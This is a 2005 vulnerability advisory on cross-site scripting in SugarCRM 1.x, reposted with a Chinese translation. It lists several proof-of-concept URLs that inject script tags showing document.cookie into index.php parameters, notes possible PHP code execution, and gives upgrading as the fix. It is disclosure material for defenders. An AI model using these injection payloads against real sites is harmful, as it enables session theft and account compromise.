信息来源：www.securityfocus.com

Cross Site Scripting Vulnerabilities and Possible Code Execution in SugarCRM
Added by: A^C^E
Date: 02.01.05
Time: 09:52:34
Category: Exploits
Source: http://www.securityfocus.com/arc ... -12-30/2005-01-05/0

----------------------------------------------------------------------------
Cross Site Scripting Vulnerabilities and Possible Code Execution in
SugarCRM
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of
a
state-of-the-art user interface. Built on PHP and MySQL

Web : http://sugarcrm.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability

A1. In the main script (index.php) various parameters, that are used to
write the
html code, not are verified.

At least the following URLs are vulnerables to XSS (Cross Site
Scripting) attacks :

http://<site-with-sugarcrm> ... &return_module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm> ... &return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm> ... me=%22%3E%3Cscript%
3Ealert%28document.cookie%29%3C%2Fscript%
3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search

And the following are XSS vulnerables and, may be, arbitrary PHP remote
code execution
vulnerables as well :

http://<site-with-sugarcrm> ... amp;module=Accounts"><script>alert(document.cookie)</script>&record=d676f046-
1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm> ... amp;module=Accounts&#39;&#39;&#39;&#39;&record=[RECORD
ID]"><script>alert(document.cookie)</script>


The fix:
~~~~~~~~

All problems are fixed in the latests versions availables at the
sugarcrm site.
Go to http://sugarcrm.sourceforge.net site for more info about the new
versions.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.

---------------------------------------------------------------------------

Contact:
~~~~~~~~

Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

翻译网站:http://www.bnso.net
Bug.Center.team翻译小组

来源：   Joxean Koret <joxeankoret () yahoo ! es>
日期：   2005-01-01 19:58:44
安全通告：<1104609524.17665.4.camel () nemobox>
受影响软件的描述：
  SugarCRM 1.X是一个管理向导，时机，社会联系并且都在一个最新型的用户界面内，它建立在PHP 和MySQL上 。
网站 : http://sugarcrm.sourceforge.net

漏洞描述：跨站脚本漏洞
  在主要的脚本（index.php）中有用于写html代码的各种不同的参数没有被确认。   
至少下面的网址就很容易被跨站脚本攻击：
http://<site-with-sugarcrm> ... ditView&return_ \
module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm> ... ditView&return_ \
module=&return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm> ... me=%22%3E%3Cscript%
3Ealert%28document.cookie%29%3C%2Fscript%
3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Sea \
rch

这下面网址是跨站脚本攻击漏洞并且可能远程执行任意PHP代码

漏洞如下：

http://<site-with-sugarcrm> ... amp;module=Accounts"><scr \
ipt>alert(document.cookie)</script>&record=d676f046-1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm> ... amp;module=Accounts&#39;&#39;&#39;&#39;&r \
ecord=[RECORD ID]"><script>alert(document.cookie)</script>

修补方法：升级到最新版本
网址  ：  http://sugarcrm.sourceforge.net
发现者：  Jose Antonio Coret (Joxean Koret)